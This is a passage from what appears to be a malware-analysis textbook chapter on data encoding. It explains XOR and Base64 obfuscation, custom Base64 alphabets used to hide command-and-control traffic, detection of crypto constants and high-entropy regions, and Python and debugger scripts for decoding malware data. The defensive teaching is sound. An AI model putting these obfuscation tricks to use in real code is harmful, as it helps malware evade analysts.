Just because a search found an XOR instruction does not mean that the
XOR instruction is being used for encoding. The XOR instruction can be
used for different purposes. One of the uses of XOR is to clear the contents
of a register. XOR instructions can be found in three forms:
XOR of a register with itself
XOR of a register (or memory reference) with a constant
XOR of one register (or memory reference) with a different register (or
memory reference)
The most prevalent form is the first, since an XOR of a register with
itself is an efficient way to zero out a register. Fortunately, the clearing of a
register is not related to data encoding, so you can ignore it. As you can see
in Figure 13-2, most of the listed instructions are an XOR of a register with
itself (such as xor edx,edx).
An XOR encoding loop may use either of the other two forms: an XOR
of a register with a constant or an XOR of a register with a different register.
If you are lucky, the XOR will be of a register with a constant, because that
will confirm that you are probably seeing encoding, and you will know the
key. The instruction xor edx,12h in Figure 13-2 is an example of this second
form of XOR.
One of the signs of encoding is a small loop that contains the XOR
function. Let’s look at the instruction we identified in Figure 13-2. As the
IDA Pro flowchart in Figure 13-3 shows, the XOR with the 0x12 instruction
276
Chapter 13
does appear to be a part of a small loop. You can also see that the block at
loc_4012F4 increments a counter, and the block at loc_401301 checks to see
whether the counter has exceeded a certain length.
Figure 13-3: Graphical view of single-byte XOR loop
Other Simple Encoding Schemes
Given the weaknesses of single-byte encoding, many malware authors have
implemented slightly more involved (or just unexpected) encoding schemes
that are less susceptible to brute-force detection but are still simple to imple-
ment. Table 13-4 briefly describes some of these encoding schemes. We won’t
delve into the specifics of each of these techniques, but you should be aware
of them so that you can recognize them if you see them.
Table 13-4: Additional Simple Encoding Algorithms
Encoding scheme
Description
ADD, SUB
Encoding algorithms can use ADD and SUB for individual bytes in a
manner that is similar to XOR. ADD and SUB are not reversible, so they
need to be used in tandem (one to encode and the other to decode).
ROL, ROR
Instructions rotate the bits within a byte right or left. Like ADD and SUB,
these need to be used together since they are not reversible.
ROT
This is the original Caesar cipher. It’s commonly used with either alpha-
betical characters (A–Z and a–z) or the 94 printable characters in stan-
dard ASCII.
Multibyte
Instead of a single byte, an algorithm might use a longer key, often 4 or
8 bytes in length. This typically uses XOR for each block for convenience.
Data Encoding
277
Base64
Base64 encoding is used to represent binary data in an ASCII string
format. Base64 encoding is commonly found in malware, so you’ll need
to know how to recognize it.
The term Base64 is taken from the Multipurpose Internet Mail Exten-
sions (MIME) standard. While originally developed to encode email attach-
ments for transmission, it is now widely used for HTTP and XML.
Base64 encoding converts binary data into a limited character set of 64
characters. There are a number of schemes or alphabets for different types
of Base64 encoding. They all use 64 primary characters and usually an addi-
tional character to indicate padding, which is often =.
The most common character set is MIME’s Base64, which uses A–Z, a–z,
and 0–9 for the first 62 values, and + and / for the last two values. As a result
of squeezing the data into a smaller set of characters, Base64-encoded data
ends up being longer than the original data. For every 3 bytes of binary data,
there are at least 4 bytes of Base64-encoded data.
If you’ve ever seen a part of a raw email file like the one shown in
Listing 13-4, you have seen Base64 encoding. Here, the top few lines show
email headers followed by a blank line, with the Base64-encoded data at the
bottom.
Content-Type: multipart/alternative;
boundary="_002_4E36B98B966D7448815A3216ACF82AA201ED633ED1MBX3THNDRBIRD_"
MIME-Version: 1.0
--_002_4E36B98B966D7448815A3216ACF82AA201ED633ED1MBX3THNDRBIRD_
Content-Type: text/html; charset="utf-8"
Content-Transfer-Encoding: base64
SWYgeW91IGFyZSByZWFkaW5nIHRoaXMsIHlvdSBwcm9iYWJseSBzaG91bGQganVzdCBza2lwIHRoaX
MgY2hhcHRlciBhbmQgZ28gdG8gdGhlIG5leHQgb25lLiBEbyB5b3UgcmVhbGx5IGhhdmUgdGhlIHRp
bWUgdG8gdHlwZSB0aGlzIHdob2xlIHN0cmluZyBpbj8gWW91IGFyZSBvYnZpb3VzbHkgdGFsZW50ZW
QuIE1heWJlIHlvdSBzaG91bGQgY29udGFjdCB0aGUgYXV0aG9ycyBhbmQgc2VlIGlmIH
Listing 13-4: Part of raw email message showing Base64 encoding
Transforming Data to Base64
The process of translating raw data to Base64 is fairly standard. It uses 24-bit
(3-byte) chunks. The first character is placed in the most significant position,
the second in the middle 8 bits, and the third in the least significant 8 bits.
Next, bits are read in blocks of six, starting with the most significant. The
Chained or
loopback
This algorithm uses the content itself as part of the key, with various imple-
mentations. Most commonly, the original key is applied at one side of the
plaintext (start or end), and the encoded output character is used as the
key for the next character.
Table 13-4: Additional Simple Encoding Algorithms (continued)
Encoding scheme
Description
278
Chapter 13
number represented by the 6 bits is used as an index into a 64-byte long
string with each of the allowed bytes in the Base64 scheme.
Figure 13-4 shows how the transformation happens. The top line is the
original string (ATT). The second line is the hex representation of ATT at the
nibble level (a nibble is 4 bits). The middle line shows the actual bits used
to represent ATT. The fourth line is the value of the bits in each particular
6-bit-long section as a decimal number. Finally, the last string is the charac-
ter used to represent the decimal number via the index into a reference
string.
Figure 13-4: Base64 encoding of ATT
The letter A corresponds to the bits 01000001. The first 6 bits of the letter
A (010000) are converted into a single Base64-encoded letter Q. The last two
bits of the A (01) and the first four bits of the letter T (0101) are converted
into the second Base64-encoded character, V (010101), and so on.
Decoding from Base64 to raw data follows the same process but in
reverse. Each Base64 character is transformed to 6 bits, and all of the bits
are placed in sequence. The bits are then read in groups of eight, with each
group of eight defining the byte of raw data.
Identifying and Decoding Base64
Let’s say we are investigating malware that appears to have made the two
HTTP GET requests shown in Listing 13-5.
GET /X29tbVEuYC8=/index.htm
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)
Host: www.practicalmalwareanalysis.com
Connection: Keep-Alive
Cookie: Ym90NTQxNjQ
GET /c2UsYi1kYWM0cnUjdFlvbiAjb21wbFU0YP==/index.htm
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)
Host: www.practicalmalwareanalysis.com
Connection: Keep-Alive
Cookie: Ym90NTQxNjQ
Listing 13-5: Sample malware traffic
With practice, it’s easy to identify Base64-encoded content. It appears
as a random selection of characters, with the character set composed of the
alphanumeric characters plus two other characters. One padding character
Q
V
R
U
A
T
T
0x4
0x1
0x5
0x4
0x5
0x4
0
1
0
0
0
0
0
1
0
1
0
1
0
1
0
0
0
1
0
1
0
1
0
0
16
21
17
20
Data Encoding
279
may be present at the end of an encoded string; if padded, the length of the
encoded object will be divisible by four.
In Listing 13-5, it appears at first as if both the URL path and the Cookie
are Base64-encoded values. While the Cookie value appears to remain constant,
it looks like the attacker is sending two different encoded messages in the
two GET requests.
A quick way to encode or decode using the Base64 standard is with an
online tool such as the decoder found at http://www.opinionatedgeek.com/
dotnet/tools/base64decode/. Simply enter the Base64-encoded content into the
top window and click the button labeled Decode Safely As Text. For example,
Figure 13-5 shows what happens if we run the Cookie value through a Base64
decoder.
Figure 13-5: Unsuccessful attempt to decode Base64 string
Remember how every three characters from the input becomes four
characters in the output, and how the four-character output blocks are pad-
ded? How many characters are in the Cookie string? Since there are 11, we
know that if this is a Base64 string, it is not correctly padded.
Technically, the padding characters are optional, and they are not essen-
tial to accurate decoding. Malware has been known to avoid using padding
characters, presumably to appear less like Base64 or to avoid network signa-
tures. In Figure 13-6, we add the padding and try again:
Figure 13-6: Successful decoding of Base64 string
due to addition of padding character
Apparently, the attacker is tracking his bots by giving them identification
numbers and Base64-encoding that into a cookie.
In order to find the Base64 function in the malware, we can look for the
64-byte long string typically used to implement the algorithm. The most com-
monly used string adheres to the MIME Base64 standard. Here it is:
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
Because an implementation of Base64 typically uses indexing strings,
code that contains Base64 encoding will often have this telltale string of
64 characters. The Base64-indexing string is typically composed of printable
characters (or it would defeat the intent of the algorithm), and can therefore
be easily eyeballed in string output.
A secondary piece of evidence that can be used to confirm the use of a
Base64-encoding algorithm is the existence of a lone padding character (typ-
ically =) hard-coded into the function that performs the encoding.
Next, let’s look at the URI values from Listing 13-5. Both strings have
all the characteristics of Base64 encoding: a restricted, random-looking
Ym90NTQxNjQ
Error: invalid length for Base64 array
Ym90NTQxNjQ=
bot54164
280
Chapter 13
character set, padded with = to a length divisible by four. Figure 13-7 shows
what we find when we run them through a Base64 decoder.
Figure 13-7: Unsuccessful attempt to decode Base64 string due to nonstandard indexing
string
Obviously, this is not standard Base64 encoding! One of the beautiful
things about Base64 (at least from a malware author’s point of view) is how
easy it is to develop a custom substitution cipher. The only item that needs to
be changed is the indexing string, and it will have all the same desirable char-
acteristics as the standard Base64. As long as the string has 64 unique charac-
ters, it will work to create a custom substitution cipher.
One simple way to create a new indexing string is to relocate some of the
characters to the front of the string. For example, the following string was
created by moving the a character to the front of the string:
aABCDEFGHIJKLMNOPQRSTUVWXYZbcdefghijklmnopqrstuvwxyz0123456789+/
When this string is used with the Base64 algorithm, it essentially creates a
new key for the encoded string, which is difficult to decode without knowl-
edge of this string. Malware uses this technique to make its output appear to
be Base64, even though it cannot be decoded using the common Base64
functions.
The malware that created the GET requests shown in Listing 13-5 used this
custom substitution cipher. Looking again at the strings output, we see that
we mistook the custom string for the standard one, since it looked so similar.
The actual indexing string was the preceding one, with the a character moved
to the front of the string. The attacker simply used the standard algorithm
and changed the encoding string. In Figure 13-8, we try the decryption
again, but this time with the new string.
Figure 13-8: Successful decoding of Base64 string using custom indexing string
Common Cryptographic Algorithms
Simple cipher schemes that are the equivalent of substitution ciphers differ
greatly from modern cryptographic ciphers. Modern cryptography takes into
account the exponentially increasing computing capabilities, and ensures
that algorithms are designed to require so much computational power that
breaking the cryptography is impractical.
X29tbVEuYC8=
_ommQ.`/
c2UsYi1kYWM0cnUjdFlvbiAjb21wbFU0YP==
se,b-dac4ru#tYon #omplU4`
X29tbVEuYC8=
command?
c2UsYi1kYWM0cnUjdFlvbiAjb21wbFU0YP==
self-destruction complete
Data Encoding
281
The simple cipher schemes we have discussed previously don’t even pre-
tend to be protected from brute-force measures. Their main purpose is to
obscure. Cryptography has evolved and developed over time, and it is now
integrated into every aspect of computer use, such as SSL in a web browser
or the encryption used at a wireless access point. Why then, does malware not
always take advantage of this cryptography for hiding its sensitive information?
Malware often uses simple cipher schemes because they are easy and
often sufficient. Also, using standard cryptography does have potential draw-
backs, particularly with regard to malware:
Cryptographic libraries can be large, so malware may need to statically
integrate the code or link to existing code.
Having to link to code that exists on the host may reduce portability.
Standard cryptographic libraries are easily detected (via function imports,
function matching, or the identification of cryptographic constants).
Users of symmetric encryption algorithms need to worry about how to
hide the key.
Many standard cryptographic algorithms rely on a strong key to store
their secrets. The idea is that the algorithm itself is widely known, but with-
out the key, it is nearly impossible (that is, it would require a massive amount
of work) to decrypt the cipher text. In order to ensure a sufficient amount of
work for decrypting, the key must typically be long enough so that all of the
potential keys cannot be easily tested. For the standard algorithms that mal-
ware might use, the trick is to identify not only the algorithm, but also the key.
There are several easy ways to identify the use of standard cryptography.
They include looking for strings and imports that reference cryptographic
functions and using several tools to search for specific content.
Recognizing Strings and Imports
One way to identify standard cryptographic algorithms is by recognizing
strings that refer to the use of cryptography. This can occur when crypto-
graphic libraries such as OpenSSL are statically compiled into malware. For
example, the following is a selection of strings taken from a piece of malware
compiled with OpenSSL encryption:
OpenSSL 1.0.0a
SSLv3 part of OpenSSL 1.0.0a
TLSv1 part of OpenSSL 1.0.0a
SSLv2 part of OpenSSL 1.0.0a
You need to read the OpenSSL FAQ, http://www.openssl.org/support/faq.html
%s(%d): OpenSSL internal error, assertion failed: %s
AES for x86, CRYPTOGAMS by
Another way to look for standard cryptography is to identify imports that
reference cryptographic functions. For example, Figure 13-9 is a screenshot
from IDA Pro showing some cryptographic imports that provide services
282
Chapter 13
related to hashing, key generation, and encryption. Most (though not all)
of the Microsoft functions that pertain to cryptography start with Crypt, CP
(for Cryptographic Provider), or Cert.
Figure 13-9: IDA Pro imports listing showing cryptographic functions
Searching for Cryptographic Constants
A third basic method of detecting cryptography is to use a tool that can
search for commonly used cryptographic constants. Here, we’ll look at using
IDA Pro’s FindCrypt2 and Krypto ANALyzer.
Using FindCrypt2
IDA Pro has a plug-in called FindCrypt2, included in the IDA Pro SDK
(or available from http://www.hex-rays.com/idapro/freefiles/findcrypt.zip), which
searches the program body for any of the constants known to be associated
with cryptographic algorithms. This works well, since most cryptographic algo-
rithms employ some type of magic constant. A magic constant is some fixed
string of bits that is associated with the essential structure of the algorithm.
NOTE
Some cryptographic algorithms do not employ a magic constant. Notably, the Interna-
tional Data Encryption Algorithm (IDEA) and the RC4 algorithm build their struc-
tures on the fly, and thus are not in the list of algorithms that will be identified.
Malware often employs the RC4 algorithm, probably because it is small and easy to
implement in software, and it has no cryptographic constants to give it away.
FindCrypt2 runs automatically on any new analysis, or it can be run man-
ually from the plug-in menu. Figure 13-10 shows the IDA Pro output window
with the results of running FindCrypt2 on a malicious DLL. As you can see,
the malware contains a number of constants that begin with DES. By identify-
ing the functions that reference these constants, you can quickly get a handle
on the functions that implement the cryptography.
Figure 13-10: IDA Pro FindCrypt2 output
Data Encoding
283
Using Krypto ANALyzer
A tool that uses the same principles as the FindCrypt2 IDA Pro plug-in is the
Krypto ANALyzer (KANAL). KANAL is a plug-in for PEiD (http://www.peid
.has.it/) and has a wider range of constants (though as a result, it may tend to
produce more false positives). In addition to constants, KANAL also recog-
nizes Base64 tables and cryptography-related function imports.
Figure 13-11 shows the PEiD window on the left and the KANAL plug-in
window on the right. PEiD plug-ins can be run by clicking the arrow in the
lower-right corner. When KANAL is run, it identifies constants, tables, and
cryptography-related function imports in a list. Figure 13-11 shows KANAL
finding a Base64 table, a CRC32 constant, and several Crypt... import func-
tions in malware.
Figure 13-11: PEiD and Krypto ANALyzer (KANAL) output
Searching for High-Entropy Content
Another way to identify the use of cryptography is to search for high-entropy
content. In addition to potentially highlighting cryptographic constants or
cryptographic keys, this technique can also identify encrypted content itself.
Because of the broad reach of this technique, it is potentially applicable in
cases where cryptographic constants are not found (like RC4).
WARNING
The high-entropy content technique is fairly blunt and may best be used as a last resort.
Many types of content—such as pictures, movies, audio files, and other compressed
data—display high entropy and are indistinguishable from encrypted content except for
their headers.
The IDA Entropy Plugin (http://www.smokedchicken.org/2010/06/ida-
entropy-plugin.html) is one tool that implements this technique for PE files.
You can load the plug-in into IDA Pro by placing the ida-ent.plw file in the
IDA Pro plug-ins directory.
Let’s use as our test case the same malware that showed signs of DES
encryption from Figure 13-10. Once the file is loaded in IDA Pro, start the
IDA Entropy Plugin. The initial window is the Entropy Calculator, which is
shown as the left window in Figure 13-12. Any segment can be selected and
analyzed individually. In this case, we are focused on a small portion of the
rdata segment. The Deep Analyze button uses the parameters specified
284
Chapter 13
(chunk size, step size, and maximum entropy) and scans the specified area
for chunks that exceed the listed entropy. If you compare the output in Fig-
ure 13-10 with the results returned in the deep analysis results window in
Figure 13-12, you will see that the same addresses around 0x100062A4
are highlighted. The IDA Pro Entropy Plugin has found the DES constants
(which indicates a high degree of entropy) with no knowledge of the con-
stants themselves!
Figure 13-12: IDA Pro Entropy Plugin
In order to use entropy testing effectively, it is important to understand
the dependency between the chunk size and entropy score. The setting shown
in Figure 13-12 (chunk size of 64 with maximum entropy of 5.95) is actually
a good generic test that will find many types of constants, and will actually
locate any Base64-encoding string as well (even ones that are nonstandard).
A 64-byte string with 64 distinct byte values has the highest possible
entropy value. The 64 values are related to the entropy value of 6 (which
refers to 6 bits of entropy), since the number of values that can be expressed
with 6 bits is 64.
Another setting that can be useful is a chunk size of 256 with entropy
above 7.9. This means that there is a string of 256 consecutive bytes, reflect-
ing nearly all 256 possible byte values.
The IDA Pro Entropy Plugin also has a tool that provides a graphical
overview of the area of interest, which can be used to guide the values you
should select for the maximum entropy score, and also helps to determine
where to focus. The Draw button produces a graph that shows higher-entropy
regions as lighter bars and lower-entropy regions as darker bars. By hovering
over the graph with the mouse cursor, you can see the raw entropy scores for
that specific spot on the graph. Because the entropy map is difficult to appre-
ciate in printed form, a line graph of the same file is included in Figure 13-13
to illustrate how the entropy map can be useful.
The graph in Figure 13-13 was generated using the same chunk size of
64. The graph shows only high values, from 4.8 to 6.2. Recall that the maxi-
mum entropy value for that chunk size is 6. Notice the spike that reaches 6
above the number 25000. This is the same area of the file that contains the
DES constants highlighted in Figures 13-10 and 13-12.
Data Encoding
285
Figure 13-13: Entropy graph for a malicious executable
A couple of other features stand out. One is the plateau between blocks
4000 and 22000. This represents the actual code, and it is typical of code to
reach an entropy value of this level. Code is typically contiguous, so it will
form a series of connected peaks.
A more interesting feature is the spike at the end of the file to about 5.5.
The fact that it is a fairly high value unconnected with any other peaks makes
it stand out. When analyzed, it is found to be DES-encrypted configuration
data for the malware, which hides its command-and-control information.
Custom Encoding
Malware often uses homegrown encoding schemes. One such scheme is to
layer multiple simple encoding methods. For example, malware may per-
form one round of XOR encryption and then afterward perform Base64
encoding on the result. Another type of scheme is to simply develop a cus-
tom algorithm, possibly with similarities to a standard published crypto-
graphic algorithm.
Identifying Custom Encoding
We have discussed a variety of ways to identify common cryptography and
encoding functions within malware when there are easily identifiable strings
or constants. In many cases, the techniques already discussed can assist with
finding custom cryptographic techniques. If there are no obvious signs, how-
ever, the job becomes more difficult.
For example, say we find malware with a bunch of encrypted files in the
same directory, each roughly 700KB in size. Listing 13-6 shows the initial
bytes of one of these files.
Code
DES
constants
Encrypted
configuration
286
Chapter 13
88 5B D9 02 EB 07 5D 3A 8A 06 1E 67 D2 16 93 7F .[....]:...g....
43 72 1B A4 BA B9 85 B7 74 1C 6D 03 1E AF 67 AF Cr......t.m...g.
98 F6 47 36 57 AA 8E C5 1D 70 A5 CB 38 ED 22 19 ..G6W....p..8.".
86 29 98 2D 69 62 9E C0 4B 4F 8B 05 A0 71 08 50 .).-ib..KO...q.P
92 A0 C3 58 4A 48 E4 A3 0A 39 7B 8A 3C 2D 00 9E ...XJH...9{.<-..
Listing 13-6: First bytes of an encrypted file
We use the tools described thus far, but find no obvious answer. There
are no strings that provide any indication of cryptography. FindCrypt2 and
KANAL both fail to find any cryptographic constants. The tests for high
entropy find nothing that stands out. The only test that finds any hint is a
search for XOR, which finds a single xor ebx, eax instruction. For the sake
of the exercise, let’s ignore this detail for now.
Finding the encoding algorithm the hard way entails tracing the thread
of execution from the suspicious input or output. Inputs and outputs can be
treated as generic categories. No matter whether the malware sends a network
packet, writes to a file, or writes to standard output, those are all outputs. If
outputs are suspected of containing encoded data, then the encoding func-
tion will occur prior to the output.
Conversely, decoding will occur after an input. For example, say you iden-
tify an input function. You first identify the data elements that are affected by
the input, and then follow the execution path forward, looking into only new
functions that have access to the data element in question. If you reach the end
of a function, you continue in the calling function from where the call took
place, again noting the data location. In most cases, the decryption function
will not be far from the input function. Output functions are similar, except
that the tracing must be done opposite the flow of execution.
In our example, the assumed output is the encrypted files that we found
in the same directory as the malware. Looking at the imports for the mal-
ware, we see that CreateFileA and WriteFile exist in the malware, and both are
in the function labeled sub_4011A9. This is also the function that happens to
contain that single XOR function.
The function graph for a portion of sub_4011A9 is shown in Figure 13-14.
Notice the WriteFile call on the right in the block labeled loc_40122a. Also
notice that the xor ebx, eax instruction is in the loop that may occur just
before the write block (loc_40122a).
The left-hand block contains a call to sub_40112F, and at the end of the
block, we see a counter incremented by 1 (the counter has the label var_4).
After the call to sub_40112F, we see the return value in EAX used in an XOR
operation with EBX. At this point, the results of the XOR function are in bl
(the low byte of EBX). The byte value in bl is then written to the buffer (at
lpBuffer plus the current counter).
Putting all of these pieces of evidence together, a good guess is that the
call to sub_40112F is a call to get a single pseudorandom byte, which is XORed
with the current byte of the buffer. The buffer is labeled lpBuffer, since it is
used later in the WriteFile function. sub_40112F does not appear to have any
parameters, and seems to return only a single byte in EAX.
Data Encoding
287
Figure 13-14: Function graph showing an encrypted write
Figure 13-15 shows the relationships among the encryption functions.
Notice the relationship between sub_40106C and sub_40112F, which both have
a common subroutine. sub_40106C also has no parameters and will always
occur before the call to sub_40112F. If sub_40106C is an initialization function
for the cryptographic routine, then it should share some global variables
with sub_40112F.
Figure 13-15: Connected encryption function
loc_40122A: ; lpOverlapped
push 0
lea edx, [ebp+NumberOfBytesWritten]
push edx ; lpNumberOfBytesWritten
mov eax, [ebp+nNumberOfBytesToWrite]
push eax ; nNumberOfBytesToWrite
mov ecx, [ebp+lpBuffer]
push ecx ; lpBuffer
mov edx, [ebp+hObject]
push edx ; hFile
call ds:WriteFile
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jz short loc_401253
loc_4011F5:
call sub_40106C
loc_4011FA:
mov ecx, [ebp+var_4]
cmp ecx, [ebp+nNumberOfBytesToWrite]
jnb short loc_40122A
mov edx, [ebp+lpBuffer]
add edx, [ebp+var_4]
movsx ebx, byte ptr [edx]
call sub_40112F
and eax, 0FFh
xor ebx, eax
mov eax, [ebp+lpBuffer]
add eax, [ebp+var_4]
mov [eax], bl
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
jmp short loc_4011FA
WriteFile
sub_40106C
CreateFileA
CloseHandle
sub_40112F
sub_40103E
sub_4011A9
288
Chapter 13
Investigating further, we find that both sub_40106C and sub_40112F contain
multiple references to three global variables (two DWORD values and a 256-byte
array), which support the hypothesis that these are a cryptographic initial-
ization function and a stream cipher function. (A stream cipher generates a
pseudorandom bit stream that can be combined with plaintext via XOR.)
One oddity with this example is that the initialization function took no pass-
word as an argument, containing only references to the two DWORD values and
a pointer to an empty 256-byte array.
We’re lucky in this case. The encoding functions were very close to the
output function that wrote the encrypted content, and it was easy to locate
the encoding functions.
Advantages of Custom Encoding to the Attacker
For the attacker, custom-encoding methods have their advantages, often
because they can retain the characteristics of simple encoding schemes (small
size and nonobvious use of encryption), while making the job of the reverse
engineer more difficult. It is arguable that the reverse-engineering tasks for
this type of encoding (identifying the encoding process and developing a
decoder) are more difficult than for many types of standard cryptography.
With many types of standard cryptography, if the cryptographic algo-
rithm is identified and the key found, it is fairly easy to write a decryptor
using standard libraries. With custom encoding, attackers can create any
encoding scheme they want, which may or may not use an explicit key.
As you saw in the previous example, the key is effectively embedded (and
obscured) within the code itself. Even if the attacker does use a key and the
key is found, it is unlikely that a freely available library will be available to
assist with the decryption.
Decoding
Finding encoding functions to isolate them is an important part of the analy-
sis process, but typically you’ll also want to decode the hidden content. There
are two fundamental ways to duplicate the encoding or decoding functions
in malware:
Reprogram the functions.
Use the functions as they exist in the malware itself.
Self-Decoding
The most economical way to decrypt data—whether or not the algorithm is
known—is to let the program itself perform the decryption in the course of
its normal activities. We call this process self-decoding.
If you’ve ever stopped a malware program in a debugger and noticed a
string in memory that you didn’t see when you ran strings, you have already
used the self-decoding technique. If the previously hidden information is
Data Encoding
289
decoded at any point, it is easier to just stop the process and do the analysis
than it is to try to determine the encoding mechanism used (and try to build
a decoder).
Although self-decoding can be a cheap and effective way to decode con-
tent, it has its drawbacks. First, in order to identify every instance of decryp-
tion performed, you must isolate the decryption function and set a breakpoint
directly after the decryption routine. More important, if the malware doesn’t
happen to decrypt the information you are interested in (or you cannot fig-
ure out how to coax the malware into doing so), you are out of luck. For
these reasons, it is important to use techniques that provide more control.
Manual Programming of Decoding Functions
For simple ciphers and encoding methods, you can often use the standard
functions available within a programming language. For example, Listing 13-7
shows a small Python program that decodes a standard Base64-encoded string.
Replace the example_string variable to decode the string of interest.
import string
import base64
example_string = 'VGhpcyBpcyBhIHRlc3Qgc3RyaW5n'
print base64.decodestring(example_string)
Listing 13-7: Sample Python Base64 script
For simple encoding methods that lack standard functions, such as XOR
encoding or Base64 encoding that uses a modified alphabet, often the easiest
course of action is to just program or script the encoding function in the
language of your choice. Listing 13-8 shows an example of a Python func-
tion that implements a NULL-preserving XOR encoding, as described ear-
lier in this chapter.
def null_preserving_xor(input_char,key_char):
if (input_char == key_char or input_char == chr(0x00)):
return input_char
else:
return chr(ord(input_char) ^ ord(key_char))
Listing 13-8: Sample Python NULL-preserving XOR script
This function takes in two characters—an input character and a key
character—and outputs the translated character. To convert a string or
longer content using NULL-preserving single-byte XOR encoding, just
send each input character with the same key character to this subroutine.
Base64 with a modified alphabet requires a similarly simple script. For
example, Listing 13-9 shows a small Python script that translates the custom
Base64 characters to the standard Base64 characters, and then uses the stan-
dard decodestring function that is part of the Python base64 library.
290
Chapter 13
import string
import base64
s = ""
custom = "9ZABCDEFGHIJKLMNOPQRSTUVWXYabcdefghijklmnopqrstuvwxyz012345678+/"
Base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
ciphertext = 'TEgobxZobxZgGFPkb2O='
for ch in ciphertext:
if (ch in Base64):
s = s + Base64[string.find(custom,str(ch))]
elif (ch == '='):
s += '='
result = base64.decodestring(s)
Listing 13-9: Sample Python custom Base64 script
For standard cryptographic algorithms, it is best to use existing imple-
mentations that are available in code libraries. A Python-based cryptography
library called PyCrypto (http://www.dlitz.net/software/pycrypto/) provides a wide
variety of cryptographic functions. Similar libraries exist for different lan-
guages. Listing 13-10 shows a sample Python program that performs decryp-
tion using the DES algorithm.
from Crypto.Cipher import DES
import sys
obj = DES.new('password',DES.MODE_ECB)
cfile = open('encrypted_file','r')
cbuf = f.read()
print obj.decrypt(cbuf)
Listing 13-10: Sample Python DES script
Using the imported PyCrypto libraries, the script opens the encrypted
file called encrypted_file and decrypts it with DES in Electronic Code Book
(ECB) mode using the password password.
Block ciphers like DES can use different modes of encryption to apply a
single key to an arbitrary length stream of plaintext, and the mode must be
specified in the library call. The simplest mode is ECB mode, which applies
the block cipher to each block of plaintext individually.
There are many possible variations available for scripting decoding algo-
rithms. The preceding examples give you an idea of the types of options
available for writing your own decoders.
Writing your own version of the attacker’s cryptographic algorithms is
typically reserved for when a cipher is simple or sufficiently well defined (in the
case of standard cryptography). A more difficult challenge is dealing with cases
where the cryptography is too complex to emulate and is also nonstandard.
Data Encoding
291
Using Instrumentation for Generic Decryption
In self-decoding, while trying to get the malware to do the decryption, you
limit yourself to letting the malware run as it normally would and stopping it
at the right time. But there is no reason to limit yourself to the normal execu-
tion paths of the malware when you can direct it.
Once encoding or decoding routines are isolated and the parameters
are understood, it is possible to fully exploit malware to decode any arbitrary
content using instrumentation, thus effectively using the malware against
itself.
Let’s return to the malware that produced the multiple large encrypted
files from the earlier “Custom Encoding” section. Listing 13-11 shows the
function header plus the primary instructions that are a part of the encryp-
tion loop shown previously in Figure 13-14.
004011A9 push ebp
004011AA mov ebp, esp
004011AC sub esp, 14h
004011AF push ebx
004011B0 mov [ebp+counter], 0
004011B7 mov [ebp+NumberOfBytesWritten], 0
...
004011F5 loc_4011F5: ; CODE XREF: encrypted_Write+46j
004011F5 call encrypt_Init
004011FA
004011FA loc_4011FA: ; CODE XREF: encrypted_Write+7Fj
004011FA mov ecx, [ebp+counter]
004011FD cmp ecx, [ebp+nNumberOfBytesToWrite]
00401200 jnb short loc_40122A
00401202 mov edx, [ebp+lpBuffer]
00401205 add edx, [ebp+counter]
00401208 movsx ebx, byte ptr [edx]
0040120B call encrypt_Byte
00401210 and eax, 0FFh
00401215 xor ebx, eax
00401217 mov eax, [ebp+lpBuffer]
0040121A add eax, [ebp+counter]
0040121D mov [eax], bl
0040121F mov ecx, [ebp+counter]
00401222 add ecx, 1
00401225 mov [ebp+counter], ecx
00401228 jmp short loc_4011FA
0040122A
0040122A loc_40122A: ; CODE XREF: encrypted_Write+57j
0040122A push 0 ; lpOverlapped
0040122C lea edx, [ebp+NumberOfBytesWritten]
Listing 13-11: Code from malware that produces large encrypted files
292
Chapter 13
We know a couple of key pieces of information from our previous
analysis:
We know that the function sub_40112F initializes the encryption, and
that this is the start of the encryption routine, which is called at address
0x4011F5. In Listing 13-11, this function is labeled encrypt_Init.
We know that when we reach address 0x40122A, the encryption has been
completed.
We know several of the variables and arguments that are used in the
encryption function. These include the counter and two arguments:
the buffer (lpBuffer) to be encrypted or decrypted and the length
(nNumberOfBytesToWrite) of the buffer.
We have an encrypted file, the malware itself, and the knowledge of how
its encryption function works. Our high-level goal is to instrument the mal-
ware so that it takes the encrypted file and runs it through the same routine
it used for encryption. (We are assuming based on the use of XOR that the
function is reversible.) This high-level goal can be broken down into a series
of tasks:
1.
Set up the malware in a debugger.
2.
Prepare the encrypted file for reading and prepare an output file for
writing.
3.
Allocate memory inside the debugger so that the malware can reference
the memory.
4.
Load the encrypted file into the allocated memory region.
5.
Set up the malware with appropriate variables and arguments for the
encryption function.
6.
Run the encryption function to perform the encryption.
7.
Write the newly decrypted memory region to the output file.
In order to implement the instrumentation to perform these high-level
tasks, we will use the Immunity Debugger (ImmDbg), which was introduced
in Chapter 9. ImmDbg allows Python scripts to be used to program the
debugger. The ImmDbg script in Listing 13-12 is a fairly generic sample
that has been written to process the encrypted files that were found with
the malware, thereby retrieving the plaintext.
import immlib
def main ():
imm = immlib.Debugger()
cfile = open("C:\\encrypted_file","rb") # Open encrypted file for read
pfile = open("decrypted_file", "w") # Open file for plaintext
buffer = cfile.read() # Read encrypted file into buffer
sz = len(buffer) # Get length of buffer
membuf = imm.remoteVirtualAlloc(sz) # Allocate memory within debugger
imm.writeMemory(membuf,buffer) # Copy into debugged process's memory
Data Encoding
293
imm.setReg("EIP", 0x004011A9) # Start of function header
imm.setBreakpoint(0x004011b7) # After function header
imm.Run() # Execute function header
regs = imm.getRegs()
imm.writeLong(regs["EBP"]+16, sz) # Set NumberOfBytesToWrite stack variable
imm.writeLong(regs["EBP"]+8, membuf) # Set lpBuffer stack variable
imm.setReg("EIP", 0x004011f5) # Start of crypto
imm.setBreakpoint(0x0040122a) # End of crypto loop
imm.Run() # Execute crypto loop
output = imm.readMemory(membuf, sz) # Read answer
pfile.write(output) # Write answer
Listing 13-12: ImmDbg sample decryption script
The script in Listing 13-12 follows the high-level tasks closely. immlib is
the Python library, and the immlib.Debugger call provides programmatic access
to the debugger. The open calls open files for reading the encrypted files and
writing the decrypted version. Note that the rb option on the open commands
ensures that binary characters are interpreted correctly (without the b flag,
binary characters can be evaluated as end-of-file characters, terminating the
